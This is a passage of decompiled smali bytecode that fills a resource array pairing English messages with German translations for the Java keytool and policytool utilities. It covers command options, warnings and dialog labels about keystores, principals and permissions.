                                                                              1654aput-object v3, v2, v4
                                                                              1656const-string v3, "\t [-keypass <alt_Schl\u00fcsselpass>] [-new <neu_Schl\u00fcsselpass>]"
                                                                              1657aput-object v3, v2, v5
                                                                              1658aput-object v2, v0, v1
                                                                              1659const/16 v1, 0xb8
                                                                              1660new-array v2, v6, [Ljava/lang/Object;
                                                                              1662const-string v3, "-list [-v | -rfc] [-protected]"
                                                                              1663aput-object v3, v2, v4
                                                                              1665const-string v3, "-list [-v | -rfc] [-protected]"
                                                                              1666aput-object v3, v2, v5
                                                                              1667aput-object v2, v0, v1
                                                                              1668const/16 v1, 0xb9
                                                                              1669new-array v2, v6, [Ljava/lang/Object;
                                                                              1671const-string v3, "\t [-alias <alias>]"
                                                                              1672aput-object v3, v2, v4
                                                                              1674const-string v3, "\t [-alias <Alias>]"
                                                                              1675aput-object v3, v2, v5
                                                                              1676aput-object v2, v0, v1
                                                                              1677const/16 v1, 0xba
                                                                              1678new-array v2, v6, [Ljava/lang/Object;
                                                                              1680const-string v3, "-printcert [-v] [-file <cert_file>]"
                                                                              1681aput-object v3, v2, v4
                                                                              1683const-string v3, "-printcert [-v] [-file <Zert_Datei>]"
                                                                              1684aput-object v3, v2, v5
                                                                              1685aput-object v2, v0, v1
                                                                              1686const/16 v1, 0xbb
                                                                              1687new-array v2, v6, [Ljava/lang/Object;
                                                                              1689const-string v3, "\t [-alias <alias>]"
                                                                              1690aput-object v3, v2, v4
                                                                              1692const-string v3, "\t [-alias <Alias>]"
                                                                              1693aput-object v3, v2, v5
                                                                              1694aput-object v2, v0, v1
                                                                              1695const/16 v1, 0xbc
                                                                              1696new-array v2, v6, [Ljava/lang/Object;
                                                                              1698const-string v3, "-storepasswd [-v] [-new <new_storepass>]"
                                                                              1699aput-object v3, v2, v4
                                                                              1701const-string v3, "-storepasswd [-v] [-new <neu_Storepass>]"
                                                                              1702aput-object v3, v2, v5
                                                                              1703aput-object v2, v0, v1
                                                                              1704const/16 v1, 0xbd
                                                                              1705new-array v2, v6, [Ljava/lang/Object;
                                                                              1707const-string v3, "Warning: A public key for alias \'signers[i]\' does not exist. Make sure a KeyStore is properly configured."
                                                                              1708aput-object v3, v2, v4
                                                                              1710const-string v3, "Warnung: Kein \u00f6ffentlicher Schl\u00fcssel f\u00fcr Alias {0} vorhanden. Vergewissern Sie sich, dass der KeyStore ordnungsgem\u00e4\u00df konfiguriert ist."
                                                                              1711aput-object v3, v2, v5
                                                                              1712aput-object v2, v0, v1
                                                                              1713const/16 v1, 0xbe
                                                                              1714new-array v2, v6, [Ljava/lang/Object;
                                                                              1716const-string v3, "Warning: Class not found: class"
                                                                              1717aput-object v3, v2, v4
                                                                              1719const-string v3, "Warnung: Klasse nicht gefunden: {0}"
                                                                              1720aput-object v3, v2, v5
                                                                              1721aput-object v2, v0, v1
                                                                              1722const/16 v1, 0xbf
                                                                              1723new-array v2, v6, [Ljava/lang/Object;
                                                                              1725const-string v3, "Warning: Invalid argument(s) for constructor: arg"
                                                                              1726aput-object v3, v2, v4
                                                                              1728const-string v3, "Warnung: Ung\u00fcltige(s) Argument(e) f\u00fcr Konstruktor: {0}"
                                                                              1729aput-object v3, v2, v5
                                                                              1730aput-object v2, v0, v1
                                                                              1731const/16 v1, 0xc0
                                                                              1732new-array v2, v6, [Ljava/lang/Object;
                                                                              1734const-string v3, "Illegal Principal Type: type"
                                                                              1735aput-object v3, v2, v4
                                                                              1737const-string v3, "Unzul\u00e4ssiger Principal-Typ: {0}"
                                                                              1738aput-object v3, v2, v5
                                                                              1739aput-object v2, v0, v1
                                                                              1740const/16 v1, 0xc1
                                                                              1741new-array v2, v6, [Ljava/lang/Object;
                                                                              1743const-string v3, "Illegal option: option"
                                                                              1744aput-object v3, v2, v4
                                                                              1746const-string v3, "Unzul\u00e4ssige Option: {0}"
                                                                              1747aput-object v3, v2, v5
                                                                              1748aput-object v2, v0, v1
                                                                              1749const/16 v1, 0xc2
                                                                              1750new-array v2, v6, [Ljava/lang/Object;
                                                                              1752const-string v3, "Usage: policytool [options]"
                                                                              1753aput-object v3, v2, v4
                                                                              1755const-string v3, "Syntax: policytool [Optionen]"
                                                                              1756aput-object v3, v2, v5
                                                                              1757aput-object v2, v0, v1
                                                                              1758const/16 v1, 0xc3
                                                                              1759new-array v2, v6, [Ljava/lang/Object;
                                                                              1761const-string v3, " [-file <file>] policy file location"
                                                                              1762aput-object v3, v2, v4
                                                                              1764const-string v3, " [-file <Datei>] Verzeichnis der Richtliniendatei"
                                                                              1765aput-object v3, v2, v5
                                                                              1766aput-object v2, v0, v1
                                                                              1767const/16 v1, 0xc4
                                                                              1768new-array v2, v6, [Ljava/lang/Object;
                                                                              1770const-string v3, "New"
                                                                              1771aput-object v3, v2, v4
                                                                              1773const-string v3, "Neu"
                                                                              1774aput-object v3, v2, v5
                                                                              1775aput-object v2, v0, v1
                                                                              1776const/16 v1, 0xc5
                                                                              1777new-array v2, v6, [Ljava/lang/Object;
                                                                              1779const-string v3, "Open"
                                                                              1780aput-object v3, v2, v4
                                                                              1782const-string v3, "\u00d6ffnen"
                                                                              1783aput-object v3, v2, v5
                                                                              1784aput-object v2, v0, v1
                                                                              1785const/16 v1, 0xc6
                                                                              1786new-array v2, v6, [Ljava/lang/Object;
                                                                              1788const-string v3, "Save"
                                                                              1789aput-object v3, v2, v4
                                                                              1791const-string v3, "Speichern"
                                                                              1792aput-object v3, v2, v5
                                                                              1793aput-object v2, v0, v1
                                                                              1794const/16 v1, 0xc7
                                                                              1795new-array v2, v6, [Ljava/lang/Object;
                                                                              1797const-string v3, "Save As"
                                                                              1798aput-object v3, v2, v4
                                                                              1800const-string v3, "Speichern unter"
                                                                              1801aput-object v3, v2, v5
                                                                              1802aput-object v2, v0, v1
                                                                              1803const/16 v1, 0xc8
                                                                              1804new-array v2, v6, [Ljava/lang/Object;
                                                                              1806const-string v3, "View Warning Log"
                                                                              1807aput-object v3, v2, v4
                                                                              1809const-string v3, "Warnungsprotokoll anzeigen"
                                                                              1810aput-object v3, v2, v5
                                                                              1811aput-object v2, v0, v1
                                                                              1812const/16 v1, 0xc9
                                                                              1813new-array v2, v6, [Ljava/lang/Object;
                                                                              1815const-string v3, "Exit"
                                                                              1816aput-object v3, v2, v4
                                                                              1818const-string v3, "Beenden"
                                                                              1819aput-object v3, v2, v5
                                                                              1820aput-object v2, v0, v1
                                                                              1821const/16 v1, 0xca
                                                                              1822new-array v2, v6, [Ljava/lang/Object;
                                                                              1824const-string v3, "Add Policy Entry"
                                                                              1825aput-object v3, v2, v4
                                                                              1827const-string v3, "Richtlinieneintrag hinzuf\u00fcgen"
                                                                              1828aput-object v3, v2, v5
                                                                              1829aput-object v2, v0, v1
                                                                              1830const/16 v1, 0xcb
                                                                              1831new-array v2, v6, [Ljava/lang/Object;
                                                                              1833const-string v3, "Edit Policy Entry"
                                                                              1834aput-object v3, v2, v4
                                                                              1836const-string v3, "Richtlinieneintrag bearbeiten"
                                                                              1837aput-object v3, v2, v5
                                                                              1838aput-object v2, v0, v1
                                                                              1839const/16 v1, 0xcc
                                                                              1840new-array v2, v6, [Ljava/lang/Object;
                                                                              1842const-string v3, "Remove Policy Entry"
                                                                              1843aput-object v3, v2, v4
                                                                              1845const-string v3, "Richtlinieneintrag l\u00f6schen"
                                                                              1846aput-object v3, v2, v5
                                                                              1847aput-object v2, v0, v1
                                                                              1848const/16 v1, 0xcd
                                                                              1849new-array v2, v6, [Ljava/lang/Object;
                                                                              1851const-string v3, "Edit"
                                                                              1852aput-object v3, v2, v4
                                                                              1854const-string v3, "Bearbeiten"
                                                                              1855aput-object v3, v2, v5
                                                                              1856aput-object v2, v0, v1
                                                                              1857const/16 v1, 0xce
                                                                              1858new-array v2, v6, [Ljava/lang/Object;
                                                                              1860const-string v3, "Retain"
                                                                              1861aput-object v3, v2, v4
                                                                              1863const-string v3, "Beibehalten"
                                                                              1864aput-object v3, v2, v5
                                                                              1865aput-object v2, v0, v1
                                                                              1866const/16 v1, 0xcf
                                                                              1867new-array v2, v6, [Ljava/lang/Object;
                                                                              1869const-string v3, "Warning: File name may include escaped backslash characters. It is not necessary to escape backslash characters (the tool escapes characters as necessary when writing the policy contents to the persistent store).\n\nClick on Retain to retain the entered name, or click on Edit to edit the name."
                                                                              1870aput-object v3, v2, v4
                                                                              1872const-string v3, "Warning: File name may include escaped backslash characters. It is not necessary to escape backslash characters (the tool escapes characters as necessary when writing the policy contents to the persistent store).\n\nClick on Retain to retain the entered name, or click on Edit to edit the name."
                                                                              1873aput-object v3, v2, v5
                                                                              1874aput-object v2, v0, v1
                                                                              1875const/16 v1, 0xd0
                                                                              1876new-array v2, v6, [Ljava/lang/Object;
                                                                              1878const-string v3, "Add Public Key Alias"
                                                                              1879aput-object v3, v2, v4
                                                                              1881const-string v3, "Alias f\u00fcr \u00f6ffentlichen Schl\u00fcssel hinzuf\u00fcgen"
                                                                              1882aput-object v3, v2, v5
                                                                              1883aput-object v2, v0, v1
                                                                              1884const/16 v1, 0xd1
                                                                              1885new-array v2, v6, [Ljava/lang/Object;
                                                                              1887const-string v3, "Remove Public Key Alias"
                                                                              1888aput-object v3, v2, v4
                                                                              1890const-string v3, "Alias f\u00fcr \u00f6ffentlichen Schl\u00fcssel l\u00f6schen"
                                                                              1891aput-object v3, v2, v5
                                                                              1892aput-object v2, v0, v1
                                                                              1893const/16 v1, 0xd2
                                                                              1894new-array v2, v6, [Ljava/lang/Object;
                                                                              1896const-string v3, "File"
                                                                              1897aput-object v3, v2, v4
                                                                              1899const-string v3, "Datei"
                                                                              1900aput-object v3, v2, v5
                                                                              1901aput-object v2, v0, v1
                                                                              1902const/16 v1, 0xd3
                                                                              1903new-array v2, v6, [Ljava/lang/Object;
                                                                              1905const-string v3, "KeyStore"
                                                                              1906aput-object v3, v2, v4
                                                                              1908const-string v3, "KeyStore"
                                                                              1909aput-object v3, v2, v5
                                                                              1910aput-object v2, v0, v1
                                                                              1911const/16 v1, 0xd4
                                                                              1912new-array v2, v6, [Ljava/lang/Object;
                                                                              1914const-string v3, "Policy File:"
                                                                              1915aput-object v3, v2, v4
                                                                              1917const-string v3, "Richtliniendatei:"
                                                                              1918aput-object v3, v2, v5
                                                                              1919aput-object v2, v0, v1
                                                                              1920const/16 v1, 0xd5
                                                                              1921new-array v2, v6, [Ljava/lang/Object;
                                                                              1923const-string v3, "Could not open policy file: policyFile: e.toString()"
                                                                              1924aput-object v3, v2, v4
                                                                              1926const-string v3, "Richtliniendatei konnte nicht ge\u00f6ffnet werden: {0}: {1}"
                                                                              1927aput-object v3, v2, v5
                                                                              1928aput-object v2, v0, v1
                                                                              1929const/16 v1, 0xd6
                                                                              1930new-array v2, v6, [Ljava/lang/Object;
                                                                              1932const-string v3, "Policy Tool"
                                                                              1933aput-object v3, v2, v4
                                                                              1935const-string v3, "Richtlinientool"
                                                                              1936aput-object v3, v2, v5
                                                                              1937aput-object v2, v0, v1
                                                                              1938const/16 v1, 0xd7
                                                                              1939new-array v2, v6, [Ljava/lang/Object;
                                                                              1941const-string v3, "Errors have occurred while opening the policy configuration. View the Warning Log for more information."
                                                                              1942aput-object v3, v2, v4
                                                                              1944const-string v3, "Beim \u00d6ffnen der Richtlinienkonfiguration sind Fehler aufgetreten. Weitere Informationen finden Sie im Warnungsprotokoll."
                                                                              1945aput-object v3, v2, v5
                                                                              1946aput-object v2, v0, v1
                                                                              1947const/16 v1, 0xd8
                                                                              1948new-array v2, v6, [Ljava/lang/Object;
                                                                              1950const-string v3, "Error"
                                                                              1951aput-object v3, v2, v4
                                                                              1953const-string v3, "Fehler"
                                                                              1954aput-object v3, v2, v5
                                                                              1955aput-object v2, v0, v1
                                                                              1956const/16 v1, 0xd9
                                                                              1957new-array v2, v6, [Ljava/lang/Object;
                                                                              1959const-string v3, "OK"
                                                                              1960aput-object v3, v2, v4
                                                                              1962const-string v3, "OK"
                                                                              1963aput-object v3, v2, v5
                                                                              1964aput-object v2, v0, v1
                                                                              1965const/16 v1, 0xda
                                                                              1966new-array v2, v6, [Ljava/lang/Object;
                                                                              1968const-string v3, "Status"
                                                                              1969aput-object v3, v2, v4
                                                                              1971const-string v3, "Status"
                                                                              1972aput-object v3, v2, v5
                                                                              1973aput-object v2, v0, v1
                                                                              1974const/16 v1, 0xdb
                                                                              1975new-array v2, v6, [Ljava/lang/Object;
                                                                              1977const-string v3, "Warning"
                                                                              1978aput-object v3, v2, v4
                                                                              1980const-string v3, "Warnung"
                                                                              1981aput-object v3, v2, v5
                                                                              1982aput-object v2, v0, v1
                                                                              1983const/16 v1, 0xdc
                                                                              1984new-array v2, v6, [Ljava/lang/Object;
                                                                              1986const-string v3, "Permission: "
                                                                              1987aput-object v3, v2, v4
                                                                              1989const-string v3, "Berechtigung: "
                                                                              1990aput-object v3, v2, v5
                                                                              1991aput-object v2, v0, v1
                                                                              1992const/16 v1, 0xdd
                                                                              1993new-array v2, v6, [Ljava/lang/Object;
                                                                              1995const-string v3, "Principal Type:"
                                                                              1996aput-object v3, v2, v4
                                                                              1998const-string v3, "Principal-Typ:"
                                                                              1999aput-object v3, v2, v5
                                                                              2000aput-object v2, v0, v1
                                                                              2001const/16 v1, 0xde
                                                                              2002new-array v2, v6, [Ljava/lang/Object;
                                                                              2004const-string v3, "Principal Name:"
                                                                              2005aput-object v3, v2, v4
                                                                              2007const-string v3, "Principal-Name:"
                                                                              2008aput-object v3, v2, v5
                                                                              2009aput-object v2, v0, v1
                                                                              2010const/16 v1, 0xdf
                                                                              2011new-array v2, v6, [Ljava/lang/Object;
                                                                              2013const-string v3, "Target Name: "
                                                                              2014aput-object v3, v2, v4
                                                                              2016const-string v3, "Zielname: "
                                                                              2017aput-object v3, v2, v5
                                                                              2018aput-object v2, v0, v1
                                                                              2019const/16 v1, 0xe0
                                                                              2020new-array v2, v6, [Ljava/lang/Object;
                                                                              2022const-string v3, "Actions: "
                                                                              2023aput-object v3, v2, v4
                                                                              2025const-string v3, "Aktionen: "
                                                                              2026aput-object v3, v2, v5
                                                                              2027aput-object v2, v0, v1
                                                                              2028const/16 v1, 0xe1
                                                                              2029new-array v2, v6, [Ljava/lang/Object;
                                                                              2031const-string v3, "OK to overwrite existing file filename?"
                                                                              2032aput-object v3, v2, v4
                                                                              2034const-string v3, "Vorhandene Datei {0} \u00fcberschreiben?"
                                                                              2035aput-object v3, v2, v5
                                                                              2036aput-object v2, v0, v1
                                                                              2037const/16 v1, 0xe2
                                                                              2038new-array v2, v6, [Ljava/lang/Object;
                                                                              2040const-string v3, "Cancel"
                                                                              2041aput-object v3, v2, v4
                                                                              2043const-string v3, "Abbrechen"
                                                                              2044aput-object v3, v2, v5
                                                                              2045aput-object v2, v0, v1
                                                                              2046const/16 v1, 0xe3
                                                                              2047new-array v2, v6, [Ljava/lang/Object;
                                                                              2049const-string v3, "CodeBase:"
                                                                              2050aput-object v3, v2, v4
                                                                              2052const-string v3, "Code-Basis:"
                                                                              2053aput-object v3, v2, v5
                                                                              2054aput-object v2, v0, v1
                                                                              2055const/16 v1, 0xe4
                                                                              2056new-array v2, v6, [Ljava/lang/Object;
                                                                              2058const-string v3, "SignedBy:"
                                                                              2059aput-object v3, v2, v4
                                                                              2061const-string v3, "Signiert von:"
                                                                              2062aput-object v3, v2, v5
                                                                              2063aput-object v2, v0, v1
                                                                              2064const/16 v1, 0xe5
                                                                              2065new-array v2, v6, [Ljava/lang/Object;
                                                                              2067const-string v3, "Add Principal"
                                                                              2068aput-object v3, v2, v4
                                                                              2070const-string v3, "Principal hinzuf\u00fcgen"
                                                                              2071aput-object v3, v2, v5
                                                                              2072aput-object v2, v0, v1
                                                                              2073const/16 v1, 0xe6
                                                                              2074new-array v2, v6, [Ljava/lang/Object;
                                                                              2076const-string v3, "Edit Principal"
                                                                              2077aput-object v3, v2, v4
                                                                              2079const-string v3, "Principal bearbeiten"
                                                                              2080aput-object v3, v2, v5
                                                                              2081aput-object v2, v0, v1
                                                                              2082const/16 v1, 0xe7
                                                                              2083new-array v2, v6, [Ljava/lang/Object;
                                                                              2085const-string v3, "Remove Principal"
                                                                              2086aput-object v3, v2, v4
                                                                              2088const-string v3, "Principal l\u00f6schen"
                                                                              2089aput-object v3, v2, v5
                                                                              2090aput-object v2, v0, v1
                                                                              2091const/16 v1, 0xe8
                                                                              2092new-array v2, v6, [Ljava/lang/Object;
                                                                              2094const-string v3, "Principals:"
                                                                              2095aput-object v3, v2, v4
                                                                              2097const-string v3, "Principals:"
                                                                              2098aput-object v3, v2, v5
                                                                              2099aput-object v2, v0, v1
                                                                              2100const/16 v1, 0xe9
                                                                              2101new-array v2, v6, [Ljava/lang/Object;
                                                                              2103const-string v3, " Add Permission"
                                                                              2104aput-object v3, v2, v4
                                                                              2106const-string v3, " Berechtigung hinzuf\u00fcgen"
                                                                              2107aput-object v3, v2, v5
                                                                              2108aput-object v2, v0, v1
                                                                              2109const/16 v1, 0xea
                                                                              2110new-array v2, v6, [Ljava/lang/Object;
                                                                              2112const-string v3, " Edit Permission"
                                                                              2113aput-object v3, v2, v4
                                                                              2115const-string v3, " Berechtigung \u00e4ndern"
                                                                              2116aput-object v3, v2, v5
                                                                              2117aput-object v2, v0, v1
                                                                              2118const/16 v1, 0xeb
                                                                              2119new-array v2, v6, [Ljava/lang/Object;
                                                                              2121const-string v3, "Remove Permission"
                                                                              2122aput-object v3, v2, v4
                                                                              2124const-string v3, "Berechtigung l\u00f6schen"
                                                                              2125aput-object v3, v2, v5
                                                                              2126aput-object v2, v0, v1
                                                                              2127const/16 v1, 0xec
                                                                              2128new-array v2, v6, [Ljava/lang/Object;
                                                                              2130const-string v3, "Done"
                                                                              2131aput-object v3, v2, v4
                                                                              2133const-string v3, "Fertig"
                                                                              2134aput-object v3, v2, v5
                                                                              2135aput-object v2, v0, v1
                                                                              2136const/16 v1, 0xed
                                                                              2137new-array v2, v6, [Ljava/lang/Object;
                                                                              2139const-string v3, "KeyStore URL:"
                                                                              2140aput-object v3, v2, v4
                                                                              2142const-string v3, "KeyStore-URL:"
                                                                              2143aput-object v3, v2, v5
                                                                              2144aput-object v2, v0, v1
                                                                              2145const/16 v1, 0xee
                                                                              2146new-array v2, v6, [Ljava/lang/Object;
                                                                              2148const-string v3, "KeyStore Type:"
                                                                              2149aput-object v3, v2, v4
                                                                              2151const-string v3, "KeyStore-Typ:"
                                                                              2152aput-object v3, v2, v5
                                                                              2153aput-object v2, v0, v1
                                                                              2154const/16 v1, 0xef
                                                                              2155new-array v2, v6, [Ljava/lang/Object;
                                                                              2157const-string v3, "KeyStore Provider:"
                                                                              2158aput-object v3, v2, v4
                                                                              2160const-string v3, "KeyStore-Anbieter:"
                                                                              2161aput-object v3, v2, v5
                                                                              2162aput-object v2, v0, v1
                                                                              2163const/16 v1, 0xf0
                                                                              2164new-array v2, v6, [Ljava/lang/Object;
                                                                              2166const-string v3, "KeyStore Password URL:"
                                                                              2167aput-object v3, v2, v4
                                                                              2169const-string v3, "KeyStore-Passwort-URL:"
                                                                              2170aput-object v3, v2, v5
                                                                              2171aput-object v2, v0, v1
                                                                              2172const/16 v1, 0xf1
                                                                              2173new-array v2, v6, [Ljava/lang/Object;
                                                                              2175const-string v3, "Principals"
                                                                              2176aput-object v3, v2, v4
                                                                              2178const-string v3, "Principals"
                                                                              2179aput-object v3, v2, v5
                                                                              2180aput-object v2, v0, v1
                                                                              2181const/16 v1, 0xf2
                                                                              2182new-array v2, v6, [Ljava/lang/Object;
                                                                              2184const-string v3, " Edit Principal:"
                                                                              2185aput-object v3, v2, v4
                                                                              2187const-string v3, " Principal bearbeiten:"
                                                                              2188aput-object v3, v2, v5
                                                                              2189aput-object v2, v0, v1
                                                                              2190const/16 v1, 0xf3
                                                                              2191new-array v2, v6, [Ljava/lang/Object;
                                                                              2193const-string v3, " Add New Principal:"
                                                                              2194aput-object v3, v2, v4
                                                                              2196const-string v3, " Neuen Principal hinzuf\u00fcgen:"
                                                                              2197aput-object v3, v2, v5
                                                                              2198aput-object v2, v0, v1
                                                                              2199const/16 v1, 0xf4
                                                                              2200new-array v2, v6, [Ljava/lang/Object;
                                                                              2202const-string v3, "Permissions"
                                                                              2203aput-object v3, v2, v4
                                                                              2205const-string v3, "Berechtigungen"
                                                                              2206aput-object v3, v2, v5
                                                                              2207aput-object v2, v0, v1
                                                                              2208const/16 v1, 0xf5
                                                                              2209new-array v2, v6, [Ljava/lang/Object;
                                                                              2211const-string v3, " Edit Permission:"
                                                                              2212aput-object v3, v2, v4
                                                                              2214const-string v3, " Berechtigung \u00e4ndern:"
                                                                              2215aput-object v3, v2, v5
                                                                              2216aput-object v2, v0, v1
                                                                              2217const/16 v1, 0xf6
                                                                              2218new-array v2, v6, [Ljava/lang/Object;
                                                                              2220const-string v3, " Add New Permission:"
                                                                              2221aput-object v3, v2, v4
                                                                              2223const-string v3, " Neue Berechtigung hinzuf\u00fcgen:"
                                                                              2224aput-object v3, v2, v5
                                                                              2225aput-object v2, v0, v1
                                                                              2226const/16 v1, 0xf7
                                                                              2227new-array v2, v6, [Ljava/lang/Object;
                                                                              2229const-string v3, "Signed By:"
                                                                              2230aput-object v3, v2, v4
                                                                              2232const-string v3, "Signiert von:"
                                                                              2233aput-object v3, v2, v5
                                                                              2234aput-object v2, v0, v1
                                                                              2235const/16 v1, 0xf8
                                                                              2236new-array v2, v6, [Ljava/lang/Object;
                                                                              2238const-string v3, "Cannot Specify Principal with a Wildcard Class without a Wildcard Name"
                                                                              2239aput-object v3, v2, v4
                                                                              2241const-string v3, "Principal kann nicht mit einer Wildcard-Klasse ohne Wildcard-Namen angegeben werden"
                                                                              2242aput-object v3, v2, v5
                                                                              2243aput-object v2, v0, v1
                                                                              2244const/16 v1, 0xf9
                                                                              2245new-array v2, v6, [Ljava/lang/Object;
                                                                              2247const-string v3, "Cannot Specify Principal without a Name"
                                                                              2248aput-object v3, v2, v4
                                                                              2250const-string v3, "Principal kann nicht ohne einen Namen angegeben werden"
                                                                              2251aput-object v3, v2, v5
                                                                              2252aput-object v2, v0, v1
                                                                              2253const/16 v1, 0xfa
                                                                              2254new-array v2, v6, [Ljava/lang/Object;
                                                                              2256const-string v3, "Permission and Target Name must have a value"
                                                                              2257aput-object v3, v2, v4
                                                                              2259const-string v3, "Berechtigung und Zielname m\u00fcssen einen Wert haben"
                                                                              2260aput-object v3, v2, v5
                                                                              2261aput-object v2, v0, v1
                                                                              2262const/16 v1, 0xfb
                                                                              2263new-array v2, v6, [Ljava/lang/Object;
                                                                              2265const-string v3, "Remove this Policy Entry?"
                                                                              2266aput-object v3, v2, v4
                                                                              2268const-string v3, "Diesen Richtlinieneintrag l\u00f6schen?"
                                                                              2269aput-object v3, v2, v5
                                                                              2270aput-object v2, v0, v1
                                                                              2271const/16 v1, 0xfc
                                                                              2272new-array v2, v6, [Ljava/lang/Object;
                                                                              2274const-string v3, "Overwrite File"
                                                                              2275aput-object v3, v2, v4
                                                                              2277const-string v3, "Datei \u00fcberschreiben"
                                                                              2278aput-object v3, v2, v5
                                                                              2279aput-object v2, v0, v1
                                                                              2280const/16 v1, 0xfd
                                                                              2281new-array v2, v6, [Ljava/lang/Object;
                                                                              2283const-string v3, "Policy successfully written to filename"
                                                                              2284aput-object v3, v2, v4
                                                                              2286const-string v3, "Richtlinien erfolgreich in {0} geschrieben"
                                                                              2287aput-object v3, v2, v5
                                                                              2288aput-object v2, v0, v1
                                                                              2289const/16 v1, 0xfe
                                                                              2290new-array v2, v6, [Ljava/lang/Object;
                                                                              2292const-string v3, "null filename"
                                                                              2293aput-object v3, v2, v4
                                                                              2295const-string v3, "Null als Dateiname"
                                                                              2296aput-object v3, v2, v5
                                                                              2297aput-object v2, v0, v1
                                                                              2298const/16 v1, 0xff
                                                                              2299new-array v2, v6, [Ljava/lang/Object;
                                                                              2301const-string v3, "Save changes?"
                                                                              2302aput-object v3, v2, v4
                                                                              2304const-string v3, "\u00c4nderungen speichern?"
                                                                              2305aput-object v3, v2, v5
                                                                              2306aput-object v2, v0, v1
                                                                              2307const/16 v1, 0x100
                                                                              2308new-array v2, v6, [Ljava/lang/Object;
                                                                              2310const-string v3, "Yes"
                                                                              2311aput-object v3, v2, v4
                                                                              2313const-string v3, "Ja"
                                                                              2314aput-object v3, v2, v5
                                                                              2315aput-object v2, v0, v1
                                                                              2316const/16 v1, 0x101
                                                                              2317new-array v2, v6, [Ljava/lang/Object;
                                                                              2319const-string v3, "No"
                                                                              2320aput-object v3, v2, v4
                                                                              2322const-string v3, "Nein"
                                                                              2323aput-object v3, v2, v5
                                                                              2324aput-object v2, v0, v1
                                                                              2325const/16 v1, 0x102
                                                                              2326new-array v2, v6, [Ljava/lang/Object;
                                                                              2328const-string v3, "Policy Entry"
                                                                              2329aput-object v3, v2, v4
                                                                              2331const-string v3, "Richtlinieneintrag"
                                                                              2332aput-object v3, v2, v5
                                                                              2333aput-object v2, v0, v1
                                                                              2334const/16 v1, 0x103
                                                                              2335new-array v2, v6, [Ljava/lang/Object;
                                                                              2337const-string v3, "Save Changes"
                                                                              2338aput-object v3, v2, v4
                                                                              2340const-string v3, "\u00c4nderungen speichern"
                                                                              2341aput-object v3, v2, v5
                                                                              2342aput-object v2, v0, v1
                                                                              2343const/16 v1, 0x104
                                                                              2344new-array v2, v6, [Ljava/lang/Object;
                                                                              2346const-string v3, "No Policy Entry selected"
                                                                              2347aput-object v3, v2, v4
                                                                              2349const-string v3, "Kein Richtlinieneintrag ausgew\u00e4hlt"
                                                                              2350aput-object v3, v2, v5
                                                                              2351aput-object v2, v0, v1
                                                                              2352const/16 v1, 0x105
                                                                              2353new-array v2, v6, [Ljava/lang/Object;
                                                                              2355const-string v3, "Unable to open KeyStore: ex.toString()"
                                                                              2356aput-object v3, v2, v4
                                                                              2358const-string v3, "KeyStore konnte nicht ge\u00f6ffnet werden: {0}"
                                                                              2359aput-object v3, v2, v5
                                                                              2360aput-object v2, v0, v1
                                                                              2361const/16 v1, 0x106
                                                                              2362new-array v2, v6, [Ljava/lang/Object;
                                                                              2364const-string v3, "No principal selected"
                                                                              2365aput-object v3, v2, v4
                                                                              2367const-string v3, "Kein Principal ausgew\u00e4hlt"
                                                                              2368aput-object v3, v2, v5
                                                                              2369aput-object v2, v0, v1
                                                                              2370const/16 v1, 0x107
                                                                              2371new-array v2, v6, [Ljava/lang/Object;
                                                                              2373const-string v3, "No permission selected"
                                                                              2374aput-object v3, v2, v4
                                                                              2376const-string v3, "Keine Berechtigung ausgew\u00e4hlt"
                                                                              2377aput-object v3, v2, v5
                                                                              2378aput-object v2, v0, v1
                                                                              2379const/16 v1, 0x108
                                                                              2380new-array v2, v6, [Ljava/lang/Object;
                                                                              2382const-string v3, "name"
                                                                              2383aput-object v3, v2, v4
                                                                              2385const-string v3, "Name"
                                                                              2386aput-object v3, v2, v5
                                                                              2387aput-object v2, v0, v1
                                                                              2388const/16 v1, 0x109
                                                                              2389new-array v2, v6, [Ljava/lang/Object;
                                                                              2391const-string v3, "configuration type"
                                                                              2392aput-object v3, v2, v4
                                                                              2394const-string v3, "Konfigurationstyp"
                                                                              2395aput-object v3, v2, v5
                                                                              2396aput-object v2, v0, v1
                                                                              2397const/16 v1, 0x10a
                                                                              2398new-array v2, v6, [Ljava/lang/Object;
                                                                              2400const-string v3, "environment variable name"
                                                                              2401aput-object v3, v2, v4
                                                                              2403const-string v3, "Name der Umgebungsvariable"
                                                                              2404aput-object v3, v2, v5
                                                                              2405aput-object v2, v0, v1
                                                                              2406const/16 v1, 0x10b
                                                                              2407new-array v2, v6, [Ljava/lang/Object;
                                                                              2409const-string v3, "library name"
                                                                              2410aput-object v3, v2, v4
                                                                              2412const-string v3, "Bibliotheksname"
                                                                              2413aput-object v3, v2, v5
                                                                              2414aput-object v2, v0, v1
                                                                              2415const/16 v1, 0x10c
                                                                              2416new-array v2, v6, [Ljava/lang/Object;
                                                                              2418const-string v3, "package name"
                                                                              2419aput-object v3, v2, v4
                                                                              2421const-string v3, "Paketname"
                                                                              2422aput-object v3, v2, v5
                                                                              2423aput-object v2, v0, v1
                                                                              2424const/16 v1, 0x10d
                                                                              2425new-array v2, v6, [Ljava/lang/Object;
                                                                              2427const-string v3, "policy type"
                                                                              2428aput-object v3, v2, v4
                                                                              2430const-string v3, "Richtlinientyp"
                                                                              2431aput-object v3, v2, v5
                                                                              2432aput-object v2, v0, v1
                                                                              2433const/16 v1, 0x10e
                                                                              2434new-array v2, v6, [Ljava/lang/Object;
                                                                              2436const-string v3, "property name"
                                                                              2437aput-object v3, v2, v4
                                                                              2439const-string v3, "Eigenschaftsname"
                                                                              2440aput-object v3, v2, v5
                                                                              2441aput-object v2, v0, v1
                                                                              2442const/16 v1, 0x10f
                                                                              2443new-array v2, v6, [Ljava/lang/Object;
                                                                              2445const-string v3, "provider name"
                                                                              2446aput-object v3, v2, v4
                                                                              2448const-string v3, "Providername"
                                                                              2449aput-object v3, v2, v5
                                                                              2450aput-object v2, v0, v1
                                                                              2451const/16 v1, 0x110
                                                                              2452new-array v2, v6, [Ljava/lang/Object;
                                                                              2454const-string v3, "Principal List"
                                                                              2455aput-object v3, v2, v4
                                                                              2457const-string v3, "Principal-Liste"
                                                                              2458aput-object v3, v2, v5
                                                                              2459aput-object v2, v0, v1
                                                                              2460const/16 v1, 0x111
                                                                              2461new-array v2, v6, [Ljava/lang/Object;
                                                                              2463const-string v3, "Permission List"
                                                                              2464aput-object v3, v2, v4
                                                                              2466const-string v3, "Berechtigungsliste"
                                                                              2467aput-object v3, v2, v5
                                                                              2468aput-object v2, v0, v1
                                                                              2469const/16 v1, 0x112
                                                                              2470new-array v2, v6, [Ljava/lang/Object;
                                                                              2472const-string v3, "Code Base"
